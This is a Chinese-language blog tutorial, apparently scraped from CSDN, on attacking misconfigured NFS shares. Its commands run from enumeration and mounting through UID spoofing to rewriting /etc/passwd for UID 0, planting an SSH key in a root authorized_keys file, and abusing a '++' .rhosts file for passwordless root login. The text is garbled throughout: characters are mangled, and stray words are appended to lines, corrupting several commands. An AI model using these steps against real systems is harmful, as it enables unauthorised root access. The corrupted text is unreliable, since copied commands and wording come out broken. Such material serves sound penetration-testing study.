針對NFS的滲透測試

NFS(Network File System)即網絡文件系統,是FreeBSD支持的文件系統中的一種,它容許網絡中的計算機之間經過TCP/IP網絡共享資源。在NFS的應用中,本地NFS的客戶端應用能夠透明地讀寫位於遠端NFS服務器上的文件,就像訪問本地文件同樣。現在NFS具有了防止被利用導出文件夾的功能,但遺留系統中的NFS服務配置不當,則仍可能遭到惡意攻擊者的利用。shell

發現NFS服務安全

NFS服務的默認開放端口爲2049/TCP,所以咱們能夠藉助Nmap來針對性的進行探測。服務器

2049/tcp open nfs 2-4(RPC #100003)網絡

此外,咱們也能夠經過rpcinfo命令來肯定主機上是否運行或掛載了NFS服務。框架

rpcinfo -p IPssh

顯示導出文件夾列表tcp

如下命令將會檢索給定主機的導出文件夾列表,這些信息將被用於訪問這些文件夾。工具

showmount -e IPes5

當showmount命令與如下參數一塊兒使用時,能夠爲咱們檢索到更多的信息,例如:.net

掛載點

鏈接的主機

目錄

showmount IP // 鏈接的主機

showmount -d IP // 目錄

showmount -a IP // 掛載點

另外,Metasploit框架中也有一個模塊,能夠用來列出導出文件夾。

auxiliary/scanner/nfs/nfsmount

在這裏我再推薦一個實用的小工具NFS Shell,它能夠鏈接到NFS共享並能夠幫助咱們手動識別一些常見的安全問題。想要使用它咱們首先須要安裝如下依賴項:

apt-get install libreadline-dev libncurses5-dev

make

gcc -g -o nfsshell mount_clnt.o mount_xdr.o nfs_prot_clnt.o nfs_prot_xdr.o nfsshell.o -L/usr/local/lib -lreadline -lhistory -lncurses

./nfsshell

使用如下命令獲取導出文件夾列表:

nfs> host IP // 鏈接NFS服務

nfs> export // 導出NFS列表

訪問NFS共享

導出的文件夾能夠經過建立一個空的本地文件夾,並將共享掛載到該文件夾來訪問,以下所示:

mkdir /temp/

mount -t nfs 192.168.1.172:/ /temp -o nolock

當成功驗證共享掛載後,咱們能夠經過如下命令來列出全部的本地磁盤信息。

df -h

此時,咱們能夠像訪問其餘文件夾同樣輕鬆的訪問共享文件夾。

cd /temp/

ls

UID操做

若是對於共享上的文件咱們沒有讀取權限該怎麼辦?其實這也很簡單,咱們能夠僞造文件全部者的UID來欺騙NFS服務器。如下展現的是NFS文件訪問拒絕提示:

首先,咱們經過如下命令來獲取文件全部者的UID(用戶ID)和GUID(組ID)。

ls -al

接着,咱們在本地建立一個新用戶,並將該用戶的UID和名稱修改成與文件全部者相同。

useradd <user>

passwd <user>

UID能夠在passwd文件中更改。

vi /etc/passwd

從掛載的文件夾執行su命令,並使用以前建立的已知密碼,此時當前用戶將會被切換到新用戶。

su <useraccount>

因爲該文件的UID與新用戶的UID相同,所以系統會誤認爲這是文件權限的全部者,這樣咱們就能夠以一個合法的用戶身份來讀取文件的內容了。

之因此形成這種問題,緣由在於導出文件夾並未設置root_squash選項。root_squash登入NFS主機,使用該共享目錄時至關於該目錄的擁有者。可是若是是以root身份使用這個共享目錄的時候,那麼這個使用者(root)的權限將被壓縮成爲匿名使用者,即一般他的UID與GID都會變成nobody那個身份,以防止越權訪問。

能夠在如下位置啓用或禁用root_squash選項:

vi /etc/exports

/home 192.168.1.47(root_squash) // Enables Root Squash

/home 192.168.1.47(no_root_squash) // Disables Root Squash

若是passwd文件具備寫入權限,那麼咱們能夠經過將一些非特權用戶的UID更改成0,使其具備根級別的訪問權限。從下圖中能夠看到,我將service用戶的UID修改成了0,此時該用戶將具有root的訪問權限。

經過SSH鏈接命令再次與目標服務器創建鏈接,service將獲取到一個root訪問權限。

shell訪問

根據存儲在導出文件夾中的文件,可能能夠經過SSH或RSH和Rlogin來獲取到shell訪問權限。 咱們着重來關注如下兩個文件:

authorized_keys

rhosts

這兩個文件都隱藏在NFS文件夾中,咱們能夠利用如下命令來肯定這些文件的存在。

ls -al

生成一個SSH密鑰對並將其公鑰添加到受權密鑰列表中,那樣咱們就能夠經過NFS服務器上的SSH與其創建鏈接了。

cd /root/.ssh/

ssh-keygen -t rsa -b 4096

cp /root/.ssh/id_rsa.pub /temp/root/.ssh/

cat id_rsa.pub >> /temp/root/.ssh/authorized_keys

ssh -i /root/.ssh/id_rsa root@192.168.1.189

.rhosts文件用來配置哪些遠程主機或用戶能夠訪問系統上的本地賬戶。若是.rhosts文件的內容爲++符號,則說明它容許來自網絡上的任何主機和用戶的鏈接。

cat .rhosts

++

如下命令將容許系統的root用戶直接鏈接目標系統,系統將不會提示密碼輸入,由於來自系統的全部用戶都將被信任。

rsh -l root IP

rlogin -l root IP

或者若是.rhosts的內容不一樣,則檢查文件將有助於肯定哪些主機和用戶是可信的,所以能夠在無需密碼的狀況下進行身份驗證。

 

做者:CanMengBlog
來源:CSDN
原文:https://blog.csdn.net/weixin_... 版權聲明:本文爲博主原創文章,轉載請附上博文連接!

相關文章
相關標籤/搜索